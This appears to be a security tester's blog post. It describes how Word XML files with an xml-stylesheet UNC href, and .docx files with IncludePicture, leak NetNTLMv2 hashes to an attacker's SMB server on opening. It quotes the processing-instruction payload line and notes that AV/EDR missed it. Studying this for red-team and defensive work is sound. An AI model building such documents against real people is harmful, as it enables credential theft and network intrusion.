Was talking with some friends on discord, and the conversation started with a couple links and seeing whether some combo of these 2 would still work in 2023: https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/ and https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/.
It turns out that it does! Creating a Word .XML file (in a similar way as the BoHops link above, File -> Save As -> Word XML document (*.xml)) still causes NetNTLMv2 hashes to be leaked upon opening the document, as long as you have the processing instruction <?mso-application progid="Word.Document"?> at the top to force the host to associate the file as a Word doc, and the "path" Word should expect to open the style sheet from within the href tag in the stylesheet processing instruction <?xml-stylesheet type="text/xsl" href="\\ENDPOINT\HERE\word.xsl"?>.
Once the document is opened, no further interaction is needed, the document will automatically try to load the style sheet referenced in the href tag within the xml-stylesheet processing instruction at the top of your Word XML file, which in this case is an SMB endpoint set up using impacket-smbserver (Re-ran all the tests with Responder and hashes were picked up there as well). Sending the document via email (so it would gain MOTW), opening the document and hitting "Enable Editing..." button, hashes also successfully hit my smb endpoint.
Going a step further, we wanted to see whether it was possible to replicate some of this with .docx files, but if you've ever pulled apart a .docx file, it is a huge mess collection of xml files. This led me deep into the depths of documentation for OpenXML while simultaneously pulling .docx xml files apart, creating new documents with different styles/features/etc. to see whether I'd be able to get a word document zipped back up into it's original form and still open with the suspect <xml-stylesheet> call.
With the .docx internals being a bit (read: a LOT) more finnicky when trying to inject the same payload idea into a couple of the xml files and "re-compile" them for lack of a better term, I went back to the drawing board to look into already established/"tried and true" methods of manipulating/poisoning office documents, and stumbled across this on HackTricks https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology/phishing-documents#external-image-load, which I had seen before, but not paid a whole lot of attention to.
Using that IncludePicture method and just populating the URL field with my smb endpoint, I was able get the same behavior as the .XML file tested previously, which was that the NetNTLMv2 hashes are successfully leaked upon opening the document. Then, I sent the same document via email (so it would gain MOTW), opened it and hit the "Enable Editing..." button, and a hash leaked successfully again. Nothing seemed to flag from an AV/EDR standpoint,
The tiny, highlighted box under "Test" in the document in the screenshot below is the "image" generated by using the IncludePicture function, shrunk considerably but large enough where it can still be seen when highlighting.
Given this was a conversation started this morning, I haven't had the time to sit down and figure out how to expand and continue down this rabbit hole, but at a base level seems ripe for assumed breach/internal tests. Configuring .docx files with IncludePicture using the SMB share path is trivial and can easily be abused, however I have a feeling this is going to be more of an "intended functionality."
I'll also note that the SMB "paths" configured were IPs, not FQDNs. If this ends up being a widely used attack vector and Microsoft attempts to resolve these vulnerabilities with an approach similar to how they "fixed" PrintNightmare, Follina, and most recently CVE-2023-23397, I'd expect this vector to be viable/bypasses to the patch(es) to be found quickly.
This was really interesting to dig into initially, and I am planning to investigate more as time/life allows. I'm sure these attack vectors have been looked into in the past/this isn't anything new, but I enjoy learning something new and tinkering with stuff, so thought someone else might like to read about it as well.